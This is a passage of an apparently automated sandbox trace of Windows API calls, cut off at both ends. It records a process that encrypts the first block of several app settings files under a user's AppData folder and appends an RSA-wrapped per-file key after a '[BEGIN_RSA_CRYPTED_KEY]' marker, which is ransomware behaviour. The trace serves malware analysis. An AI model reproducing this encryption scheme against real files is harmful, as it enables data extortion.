lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.475] SetFilePointer (in: hFile=0xe08, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.476] WriteFile (in: hFile=0xe08, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.476] SetFilePointer (in: hFile=0xe08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.476] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.476] WriteFile (in: hFile=0xe08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.477] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.477] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.477] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.477] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="T3ajb+uKYzNVBrIt99i3d6pWhuvIa9Xi3TBGzzUce+S8mvX40mx7FyekawKzqlIu\nE+TDVfneUe4jWLbY1GhqoQWhb0NhHB1apq2kUcMwHKJGbL2deqbgMiljSpTs3E+0\nqU8i2iMa+yXlfBVgjLWVedILoDvh5NaGepuv/dkJXnqnnGrLdjq6m4jfhgvy/HhL\ncPviYSvBzx15Sucs33U63VoYS3Zi6BqDiPt2qou+ROLpyaKFOR3GwHDrF4M1PGvw\n5O7qlGLHpqexhoJkXlMIfhKwOFapo33eoek8nvhFKHBfYcoH/D4bO/d375KFsWiX\nhUTYxLKiuOstcPKsVCyHjA==\n", pcchString=0x2e3f9a8) returned 1 [0197.477] WriteFile (in: hFile=0xe08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.478] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.478] WriteFile (in: hFile=0xe08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.478] CloseHandle (hObject=0xe08) returned 1 [0197.480] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.480] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0197.480] ReadFile (in: hFile=0xe08, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.482] SetFilePointer (in: hFile=0xe08, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.482] WriteFile (in: hFile=0xe08, lpBuffer=0x2f9d900*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9d900*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.482] SetFilePointer (in: hFile=0xe08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.482] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.482] WriteFile (in: hFile=0xe08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.483] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.483] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.483] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.483] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AvjmLXJ87Dp5x21lC86ZXy2CtGXs6rtiJEmSvZj0/vP9hUNu8d0hSccVABpSeVdz\nebmsXs7laWXaMbdkm4Dtb15aI8NVUDqM2mAyvq4CO4PIWnYSPlwzp6RMw0RZBk2q\n/ogPlf/IiA9wiDMmFORd3G1Yh8MkiZ/+CGNQ1eDIfly42gvYUuyxXSKd8yCpXAHF\nlc3WjVeYAowqK5SH9gIQ3/Zn2CWIRKY6HcOO0z91pM/2wgiozBdvuDS5NjGHKE8r\nn9vZDOCy4sYuwbvZIWooJyBXBpg9Hq1p+vmoX+i3QBxfwyy5vQb3SygOnC0MM9P3\n8TZ8xhC6wJIcn5QMGxHAZQ==\n", pcchString=0x2e3f9a8) returned 1 [0197.483] WriteFile (in: hFile=0xe08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.484] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.484] WriteFile (in: hFile=0xe08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.484] CloseHandle (hObject=0xe08) returned 1 [0197.485] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.485] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0197.489] ReadFile (in: hFile=0xe08, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.489] SetFilePointer (in: hFile=0xe08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.490] WriteFile (in: hFile=0xe08, lpBuffer=0x59d1d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.490] SetFilePointer (in: hFile=0xe08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.490] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.490] WriteFile (in: hFile=0xe08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.491] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.491] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.491] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.491] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="QUoNbq4yqBt2cvhS0XJ5J0hJFjgmb99o1hy7+RgrsA3LSBfpPEA09aWwycPne+MP\nYu4RqdmQy0nI5hWAcFIxZp347ZR5/KquLGlxZk29Q608anzTIK8K8PMf0/jaLOAc\nfum2HNDnmAL41+XgXzr8C0tgcAmScV6G81R0+2KtEr0E7G7aArA/1joTp+j1jl1Q\njVl2414mBNpaw8ssr+096dYk0AqPKftdq/8oUG76bLMUS1CXZzkcNR6gj4rfC2J3\ntVqcVettxXxMeYjVqEMA88nv+jNy9rMdLovbKHZOA7kNwhrTH2CXDq4EbccxHlpA\nd3Rj7etomp7hzyYfSEkQNg==\n", pcchString=0x2e3f9a8) returned 1 [0197.491] WriteFile (in: hFile=0xe08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.492] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.492] WriteFile (in: hFile=0xe08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.492] CloseHandle (hObject=0xe08) returned 1 [0197.500] WriteFile (in: hFile=0xe14, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.501] CloseHandle (hObject=0xe14) returned 1 [0197.502] WriteFile (in: hFile=0xe14, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.503] CloseHandle (hObject=0xe14) returned 1 [0197.503] WriteFile (in: hFile=0xe14, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.504] CloseHandle (hObject=0xe14) returned 1 [0197.505] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.505] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0197.505] ReadFile (in: hFile=0xe28, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.514] SetFilePointer (in: hFile=0xe28, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.514] WriteFile (in: hFile=0xe28, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.515] SetFilePointer (in: hFile=0xe28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.515] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.515] WriteFile (in: hFile=0xe28, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.516] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.516] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.516] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.516] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3DZ9AfeiA68QgGAAtmFFubU/XHcqrPHYqrD5AVqHs/ScmU9eYbdN5z4zOTkYMUCE\nLe0jCyF5quu1rGpI9uUbpm8nlahEkL1AEIDGQo/L62ZpsmdUxP8qyoYWwhANTh2N\nvYqiFlcx8C0PHtdb2/AOcqHEOpXSy5gT6LDxarXSfQpwdPZTNTjF2Pli+TO0gjuI\nLT/onAN+D3EoQobWOS3oyZdkkUQ51sNGTZt5J3tN7ZYwmP6LGt8OnHoZEfLQFx8G\nnpATI3BvOvArFy6NAPnEvMLgXsvmfr5NWfybZUmYcV9hFtynWkZipwrD4J1/Pxrg\nat3cUqNKEqVNYRVmrpV/Rw==\n", pcchString=0x2e3f9a8) returned 1 [0197.516] WriteFile (in: hFile=0xe28, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.516] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.516] WriteFile (in: hFile=0xe28, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.517] CloseHandle (hObject=0xe28) returned 1 [0197.527] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.527] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0197.527] ReadFile (in: hFile=0xe28, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.527] SetFilePointer (in: hFile=0xe28, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.527] WriteFile (in: hFile=0xe28, lpBuffer=0x59d390*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.527] SetFilePointer (in: hFile=0xe28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.528] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.528] WriteFile (in: hFile=0xe28, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.529] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.529] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.529] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.529] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="CGQyGge8Z4HAtMuaVNSJJPNFpFtqx8bAj/OOQrvQpz6OR+lmFSBAPHPWxiJIj787\ncm3hBj+fjkDbsz4BkS8UhXLOeBuGX4aN/PT6262mqFg1h6vUERIAqp1tVUIfCQyI\neeaWvmJJiWjFWh5XYtgowEt95s+f9Maj87feZQAFziNUNanRKnQOGKPJ8ipW99/a\nDaThXooZLbnShv5gihhlTgyLjBoP8DnMQAbmKbC9Ga7cs0hnmeEf2bUxZ1n56j5z\n13VzCHgsVe9uo7Udzw8kSrc6Nxnvl928T19d7RxXyHnjLqxpR6tfclc0iMzjT640\n/meS/Sb/wEH/PiFOgoRnNQ==\n", pcchString=0x2e3f9a8) returned 1 [0197.529] WriteFile (in: hFile=0xe28, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.530] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.530] WriteFile (in: hFile=0xe28, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.530] CloseHandle (hObject=0xe28) returned 1 [0197.532] WriteFile (in: hFile=0xe34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.534] CloseHandle (hObject=0xe34) returned 1 [0197.535] WriteFile (in: hFile=0xe34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.611] CloseHandle (hObject=0xe34) returned 1 [0197.612] WriteFile (in: hFile=0xe34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.613] CloseHandle (hObject=0xe34) returned 1 [0197.614] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.614] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0197.615] ReadFile (in: hFile=0xe48, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.628] SetFilePointer (in: hFile=0xe48, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.628] WriteFile (in: hFile=0xe48, lpBuffer=0x2f9d900*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9d900*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.628] SetFilePointer (in: hFile=0xe48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.628] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.629] WriteFile (in: hFile=0xe48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.629] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.629] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.629] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.630] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="MicEnQCdKvdY3ZYtyje9SegbvdUhvpzjgnpDiQvG1RcvHREMLPYJB66PcmLBHdMe\nnELV0yqhAG65Q/kLh1RR2UBaON2hsBbrmSVpBUjxvw6Ow6/nrBFkwCqHOR9ho7CG\nsOuXWHm5RmRrPvMWb3wwOw9PpkZn9eQPAdI182j+rSNQF3QnUcBq7Om5MNSOi3v8\ns+Z+biT9dWZ+62VlJr57Yy4y6Wp/ajNStxXm3QqWBKli494t6m+sFcjz1O76nyW0\nD8mAztqXxm1+MYZek+eyyv6rnSwH+U0Z2Tycow880birThRwrMXzzwnEU3GINwaa\nub9gGIjwNKq+AKKXPtKDMA==\n", pcchString=0x2e3f9a8) returned 1 [0197.630] WriteFile (in: hFile=0xe48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.630] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.630] WriteFile (in: hFile=0xe48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.630] CloseHandle (hObject=0xe48) returned 1 [0197.644] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.644] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0197.645] ReadFile (in: hFile=0xe48, lpBuffer=0x59d1d0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.645] SetFilePointer (in: hFile=0xe48, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.645] WriteFile (in: hFile=0xe48, lpBuffer=0x59d240*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.645] SetFilePointer (in: hFile=0xe48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.645] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.645] WriteFile (in: hFile=0xe48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.647] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.647] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.647] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.647] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 